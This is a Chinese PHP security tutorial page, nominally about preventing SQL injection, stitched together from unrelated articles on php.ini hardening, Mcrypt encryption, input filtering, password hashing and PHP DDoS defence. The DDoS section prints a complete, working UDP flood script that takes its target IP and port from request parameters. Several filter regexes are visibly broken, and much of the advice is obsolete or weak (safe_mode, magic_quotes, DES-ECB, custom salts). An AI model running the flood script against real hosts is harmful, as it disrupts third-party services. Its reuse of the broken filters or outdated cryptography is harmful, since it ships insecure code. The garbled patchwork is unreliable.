首页 > 编程技术 > php

防止SQL注入攻击的一些方法总结(1/2)

发布时间:2016-11-25 15:23

这里小编来给大家分享一些站长总结出来的防止SQL注入攻击实例与经验,希望此教程能给各位同学提供一点帮助哦。

一、在服务器端配置

安全,PHP代码编写是一方面,PHP的配置更是非常关键。

我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全。整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨。我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件可能不在该目录。

(1) 打开php的安全模式

php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),

同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,

但是默认的php.ini是没有打开安全模式的,我们把它打开:

safe_mode = on

(2) 用户组安全

当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同

组的用户也能够对文件进行访问。

建议设置为:

safe_mode_gid = off

如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要

对文件进行操作的时候。

(3) 安全模式下执行程序主目录

如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:

safe_mode_exec_dir = D:/usr/bin

一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,

然后把需要执行的程序拷贝过去,比如:

safe_mode_exec_dir = D:/tmp/cmd

但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:

safe_mode_exec_dir = D:/usr/www

(4) 安全模式下包含文件

如果要在安全模式下包含某些公共文件,那么就修改一下选项:

safe_mode_include_dir = D:/usr/www/include/

其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。

(5) 控制php脚本能访问的目录

使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问

不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:

open_basedir = D:/usr/www

(6) 关闭危险函数

如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,

我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的

phpinfo()等函数,那么我们就可以禁止它们:

disable_functions = system,passthru,exec,shell_exec,popen,phpinfo

如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作

disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown

以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,

就能够抵制大部分的phpshell了。

(7) 关闭PHP版本信息在http头中的泄漏

我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:

expose_php = Off

比如黑客在 telnet www.12345.com 80 的时候,那么将无法看到PHP的信息。

(8) 关闭注册全局变量

在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,

这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:

register_globals = Off

当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,

那么就要用$_GET['var']来进行获取,这个php程序员要注意。

(9) 打开magic_quotes_gpc来防止SQL注入

SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,

所以一定要小心。php.ini中有一个设置:

magic_quotes_gpc = Off

这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,

比如把 ' 转为 '等,这对防止sql注射有重大作用。所以我们推荐设置为:

magic_quotes_gpc = On

(10) 错误信息控制

一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当

前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:

display_errors = Off

如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:

error_reporting = E_WARNING & E_ERROR

当然,我还是建议关闭错误提示。

(11) 错误日志

建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:

log_errors = On

同时也要设置错误日志存放的目录,建议根apache的日志存在一起:

error_log = D:/usr/local/apache2/logs/php_error.log

注意:给文件必须允许apache用户的和组具有写的权限。

在php中如果我们要使用PHP Mcrypt加密扩展库就必须先安装好这个加密扩展库,然后再可以使用,因为它与gd库一样默认是未安装的哦。

mcrypt简单介绍

PHP程序员们在编写代码程序时,除了要保证代码的高性能之外,还有一点是非常重要的,那就是程序的安全性保障。PHP除了自带的几种加密函数外,还有功能更全面的PHP加密扩展库Mcrypt和Mhash。
其中,Mcrypt扩展库可以实现加密解密功能,就是既能将明文加密,也可以密文还原。
mcrypt 是 php 里面重要的加密支持扩展库,linux环境下:该库在默认情况下不开启。window环境下:PHP>=5.3,默认开启mcrypt扩展。

1、Mcrypt()库的安装

mcypt是一个功能十分强大的加密算法扩展库。在标准的PHP安装过程中并没有把Mcrypt安装上,但PHP的主目录下包含了libmcrypt.dll文件,所以我们只用将PHP配置文件中的这行:extension=php_mcrypt.dll前面的分号去掉,然后重启服务器就可以使用这个扩展库了。

支持的算法和加密模式

Mcrypt库支持20多种加密算法和8种加密模式,具体可以通过函数mcrypt_list_algorithms()和mcrypt_list_modes()来显示[1]加密算法
Mcrypt支持的算法有:
cast-128
gost
rijndael-128
twofish
arcfour
cast-256
loki97
rijndael-192
saferplus
wake
blowfish-compat
des
rijndael-256
serpent
xtea
blowfish
enigma
rc2
tripledes
加密模式
Mcrypt支持的加密模式有:
cbc
cfb
ctr
ecb
ncfb
nofb
ofb
stream
这些算法和模式在应用中要以常量来表示,写的时候加上前缀MCRYPT_和MCRYPT_来表示,如下面Mcrypt应用的


例子


DES算法表示为MCRYPT_DES;
ECB模式表示为MCRYPT_MODE_ECB;

 代码如下 复制代码

<?php
$str = "我的名字是?一般人我不告诉他!"; //加密内容
$key = "key:111"; //密钥
$cipher = MCRYPT_DES; //密码类型
$modes = MCRYPT_MODE_ECB; //密码模式
$iv = mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);//初始化向量
echo "加密明文:".$str."<p>";
$str_encrypt = mcrypt_encrypt($cipher,$key,$str,$modes,$iv); //加密函数
echo "加密密文:".$str_encrypt." <p>";
$str_decrypt = mcrypt_decrypt($cipher,$key,$str_encrypt,$modes,$iv); //解密函数
echo "还原:".$str_decrypt;
?>

运行结果:

加密明文:我的名字是?一般人我不告诉他!
加密密文: 锍??]??q???L 笑 ??"? ?

还原:我的名字是?一般人我不告诉他!

<1>由例子中可看到,使用PHP加密扩展库Mcrypt对数据加密和解密之前,首先创建了一个初始化向量,简称为iv。由 $iv = mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);可见创建初始化向 量需要两个参数:size指定了iv的大小;source为iv的源,其中值MCRYPT_RAND为系统随机数。

<2>函数mcrypt_get_iv_size($cipher,$modes)返回初始化向量大小,参数cipher和mode分别指算法和加 密模式。
<3>加密函数$str_encrypt = mcrypt_encrypt($cipher,$key,$str,$modes,$iv); 该函数的5个参数分 别如下:cipher——加密算法、key——密钥、data(str)——需要加密的数据、mode——算法模式、 iv——初始化向量

<4>解密函数 mcrypt_decrypt($cipher,$key,$str_encrypt,$modes,$iv); 该函数和加密函数的参数几乎 一样,唯一不同的是data,也就是说data为需要解密的数据$str_encrypt,而不是原始数据$str。
注:加密和解密函数中的参数cipher、key和mode必须一一对应,否则数据不能被还原


总结

mcrypt库常量
Mcrypt库支持20多种加密算法和8种加密模式。可以通过函数mcrypt_list_algorithms()和mcrypt_list_modes()来查看。

str_replace()函数的使用就是用来替换指定字符了,那么我们正好可以利用它这一点来过滤敏感字符以太到防注入的效果,下面我来给大家总结了一些方法,给大家分享一下。


PHP各种过滤字符函数

 

 代码如下 复制代码

   <?php
    /**
    * 安全过滤函数
    *
    * @param $string
    * @return string
    */
    function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('','',$string);
    return $string;
    }
    ?>


    <?php
    /**
    * 返回经addslashes处理过的字符串或数组
    * @param $string 需要处理的字符串或数组
    * @return mixed
    */
    function new_addslashes($string) {
    if(!is_array($string)) return addslashes($string);
    foreach($string as $key => $val) $string[$key] = new_addslashes($val);
    return $string;
    }
    ?>


    <?php
    //对请求的字符串进行安全处理
    /*
    $safestep
    0 为不处理,
    1 为禁止不安全HTML内容(javascript等),
    2 完全禁止HTML内容,并替换部份不安全字符串(如:eval(、union、CONCAT(、--、等)
    */
    function StringSafe($str, $safestep=-1){
    $safestep = ($safestep > -1) ? $safestep : 1;
    if($safestep == 1){
    $str = preg_replace("#script:#i", "script:", $str);
    $str = preg_replace("#<[/]{0,1}(link|meta|ifr|fra|scr)[^>]*>#isU", '', $str);
    $str = preg_replace("#[ ]{1,}#", ' ', $str);
    return $str;
    }else if($safestep == 2){
    $str = addslashes(htmlspecialchars(stripslashes($str)));
    $str = preg_replace("#eval#i", 'eval', $str);
    $str = preg_replace("#union#i", 'union', $str);
    $str = preg_replace("#concat#i", 'concat', $str);
    $str = preg_replace("#--#", '--', $str);
    $str = preg_replace("#[ ]{1,}#", ' ', $str);
    return $str;
    }else{
    return $str;
    }
    }
    ?>


    <?php
       /**
        +----------------------------------------------------------
        * 输出安全的html,用于过滤危险代码
        +----------------------------------------------------------
        * @access public
        +----------------------------------------------------------
        * @param string $text 要处理的字符串
        * @param mixed $tags 允许的标签列表,如 table|td|th|td
        +----------------------------------------------------------
        * @return string
        +----------------------------------------------------------
        */
       static public function safeHtml($text, $tags = null)
       {
           $text =  trim($text);
           //完全过滤注释
           $text = preg_replace('/<!--?.*-->/','',$text);
           //完全过滤动态代码
           $text =  preg_replace('/<?|?'.'>/','',$text);
           //完全过滤js
           $text = preg_replace('/<script?.*/script>/','',$text);
           $text =  str_replace('[','&#091;',$text);
           $text = str_replace(']','&#093;',$text);
           $text =  str_replace('|','&#124;',$text);
           //过滤换行符
           $text = preg_replace('/ ? /','',$text);
           //br
           $text =  preg_replace('/<br(s/)?'.'>/i','[br]',$text);
           $text = preg_replace('/([br]s*){10,}/i','[br]',$text);
           //过滤危险的属性,如:过滤on事件lang js
           while(preg_match('/(<[^><]+)(lang|on|action|background|codebase|dynsrc|lowsrc)[^><]+/i',$text,$mat)){
               $text=str_replace($mat[0],$mat[1],$text);
           }
           while(preg_match('/(<[^><]+)(window.|javascript:|js:|about:|file:|document.|vbs:|cookie)([^><]*)/i',$text,$mat)){
               $text=str_replace($mat[0],$mat[1].$mat[3],$text);
           }
           if( empty($allowTags) ) { $allowTags = self::$htmlTags['allow']; }
           //允许的HTML标签
           $text =  preg_replace('/<('.$allowTags.')( [^><[]]*)>/i','[12]',$text);
           //过滤多余html
           if ( empty($banTag) ) { $banTag = self::$htmlTags['ban']; }
           $text =  preg_replace('/</?('.$banTag.')[^><]*>/i','',$text);
           //过滤合法的html标签
           while(preg_match('/<([a-z]+)[^><[]]*>[^><]*</1>/i',$text,$mat)){
               $text=str_replace($mat[0],str_replace('>',']',str_replace('<','[',$mat[0])),$text);
           }
           //转换引号
           while(preg_match('/([[^[]]*=s*)("|')([^2=[]]+)2([^[]]*])/i',$text,$mat)){
               $text=str_replace($mat[0],$mat[1].'|'.$mat[3].'|'.$mat[4],$text);
           }
           //空属性转换
           $text =  str_replace('''','||',$text);
           $text = str_replace('""','||',$text);
           //过滤错误的单个引号
           while(preg_match('/[[^[]]*("|')[^[]]*]/i',$text,$mat)){
               $text=str_replace($mat[0],str_replace($mat[1],'',$mat[0]),$text);
           }
           //转换其它所有不合法的 < >
           $text =  str_replace('<','&lt;',$text);
           $text = str_replace('>','&gt;',$text);
           $text = str_replace('"','&quot;',$text);
           //反转换
           $text =  str_replace('[','<',$text);
           $text =  str_replace(']','>',$text);
           $text =  str_replace('|','"',$text);
           //过滤多余空格
           $text =  str_replace('  ',' ',$text);
           return $text;
       }
    ?>


    <?php
    function RemoveXSS($val) {
       // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
       // this prevents some character re-spacing such as <javascript>
       // note that you have to handle splits with , , and later since they *are* allowed in some          // inputs
       $val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
       // straight replacements, the user should never need these since they're normal characters
       // this prevents like <IMG SRC=@avascript:alert('XSS')>
       $search = 'abcdefghijklmnopqrstuvwxyz';
       $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
       $search .= '1234567890!@#$%^&*()';
       $search .= '~`";:?+/={}[]-_|'';
       for ($i = 0; $i < strlen($search); $i++) {
           // ;? matches the ;, which is optional
           // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
           // @ @ search for the hex values
           $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;
           // @ @ 0{0,7} matches '0' zero to seven times
           $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
       }
       // now the only remaining whitespace attacks are , , and 
       $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
       $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
       $ra = array_merge($ra1, $ra2);
       $found = true; // keep replacing as long as the previous round replaced something
       while ($found == true) {
           $val_before = $val;
           for ($i = 0; $i < sizeof($ra); $i++) {
               $pattern = '/';
               for ($j = 0; $j < strlen($ra[$i]); $j++) {
                   if ($j > 0) {
                       $pattern .= '(';
                       $pattern .= '(&#[xX]0{0,8}([9ab]);)';
                       $pattern .= '|';
                       $pattern .= '|(&#0{0,8}([9|10|13]);)';
                       $pattern .= ')*';
                   }
                   $pattern .= $ra[$i][$j];
               }
               $pattern .= '/i';
               $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
               $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
               if ($val_before == $val) {
                   // no replacements were made, so exit the loop
                   $found = false;
               }
           }
       }
       return $val;
    }
    ?>

如果你使用php5.5版本的话我们对于哈希创建和验证方法就简单多了, PHP 5.5为我们提供了4个函数:password_get_info(), password_hash(), password_needs_rehash(),和password_verify(),有了它们四我们就可以快速实现哈希创建和验证了。

首先讨论password_hash()函数。这将用作创建一个新的密码的哈希值。它包含三个参数:密码、哈希算法、选项。前两项为必须的。你可以根据下面的例子来使用这个函数:

 代码如下 复制代码

$password = 'foo';
$hash = password_hash($password,PASSWORD_BCRYPT);
//$2y$10$uOegXJ09qznQsKvPfxr61uWjpJBxVDH2KGJQVnodzjnglhs2WTwHu

你将注意到我们并没有给这个哈希加任何选项。现在可用的选项被限定为两个: cost 和salt。妖添加选项你需要创建一个关联数组。

 代码如下 复制代码
$options = [ 'cost' => 10,
             'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM) ];

将选项添加到 password_hash() 函数后,我们的哈希值变了,这样更加安全。

 代码如下 复制代码
$hash = password_hash($password,PASSWORD_BCRYPT,$options);
//$2y$10$JDJ5JDEwJDhsTHV6SGVIQuprRHZnGQsUEtlk8Iem0okH6HPyCoo22

现在哈希创建完毕了,我们可以通过 password_get_info() 查看新建哈希值得相关信息。password_get_info() 需要一个参数——哈希值——并返回一个包含算法(所用哈希算法的整数代表形式)、算法名(所用哈希算法的可读名称)以及选项(我们用于创建哈希值得选项)的关联数组。

 代码如下 复制代码
var_dump(password_get_info($hash));
/*
array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}

*/先一个被添加到 Password Hashing API 的是 password_needs_rehash(),它接受三个参数,hash、hash 算法以及选项,前两个是必填项。 password_needs_rehash()用来检查一个hash值是否是使用特定算法及选项创建的。这在你的数据库受损需要调整hash时非常有用。通过利用 password_needs_rehash() 检查每个hash值,我们可以看到已存的hash 值是否匹配新的参数, 仅影响那些使用旧参数创建的值。

最后,我们已经创建了我们的hash值,查阅了它如何被创建,查阅了它是否需要被重新hash,现在我们需要验证它。要验证纯文本到其hash值,我们必须使用 password_verify(),它需要两个参数,密码及hash值,并将返回 TRUE 或 FALSE。让我们检查一次我们获得的 hashed 看看是否正确。

 代码如下 复制代码

$authenticate = password_verify('foo','$2y$10$JDJ5JDEwJDhsTHV6SGVIQuprRHZnGQsUEtlk8Iem0okH6HPyCoo22');
//TRUE
$authenticate = password_verify('bar','$2y$10$JDJ5JDEwJDhsTHV6SGVIQuprRHZnGQsUEtlk8Iem0okH6HPyCoo22');
//FALSE

Example #1 password_verify() example

 代码如下 复制代码

<?php
// See the password_hash() example to see where this came from.
$hash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

if (password_verify('rasmuslerdorf', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}
?>
以上例程会输出:

Password is valid!

通过以上知识,你可以在新的 PHP 5.5.0 版本中迅速且安全的创建 hash 密码了。

PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法

我们先来看php ddos代码

 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。

1.打开php.ini

2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。

找到disable_functions,将前面的“;”去掉,在等号后面增加:

 代码如下 复制代码

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。

找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:

iis与apache取消目录脚本执行权限方法:http://www.111cn.net/sys/Windows/46232.htm

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合。

8.修改默认管理帐号

很多人都习惯使用:admin  但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码

 代码如下 复制代码

<?php 
//查询禁止IP 
$ip =$_SERVER['REMOTE_ADDR']; 
$fileht=".htaccess2"; 
if(!file_exists($fileht))file_put_contents($fileht,""); 
$filehtarr=@file($fileht); 
if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!"); 

//加入禁止IP 
$time=time(); 
$fileforbid="log/forbidchk.dat"; 
if(file_exists($fileforbid)) 
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid); 
else{ 
$fileforbidarr=@file($fileforbid); 
if($ip==substr($fileforbidarr[0],0,strlen($ip))) 

if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid); 
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);} 
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);} 



//防刷新 
$str=""; 
$file="log/ipdate.dat"; 
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777); 
if(!file_exists($file))file_put_contents($file,""); 
$allowTime = 120;//防刷新时间 
$allowNum=10;//防刷新次数 
$uri=$_SERVER['REQUEST_URI']; 
$checkip=md5($ip); 
$checkuri=md5($uri); 
$yesno=true; 
$ipdate=@file($file); 
foreach($ipdate as $k=>$v) 
{ $iptem=substr($v,0,32); 
$uritem=substr($v,32,32); 
$timetem=substr($v,64,10); 
$numtem=substr($v,74); 
if($time-$timetem<$allowTime){ 
if($iptem!=$checkip)$str.=$v; 
else{ 
$yesno=false; 
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn"; 
elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn"; 
else 

if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);} 
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND); 
$timepass=$timetem+$allowTime-$time; 
die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!"); 




if($yesno) $str.=$checkip.$checkuri.$time."1rn"; 
file_put_contents($file,$str); 
?>


相关教程 :

iis防止php ddos占完网络带宽与服务器资源解决方法

标签:[!--infotagslink--]

您可能感兴趣的文章: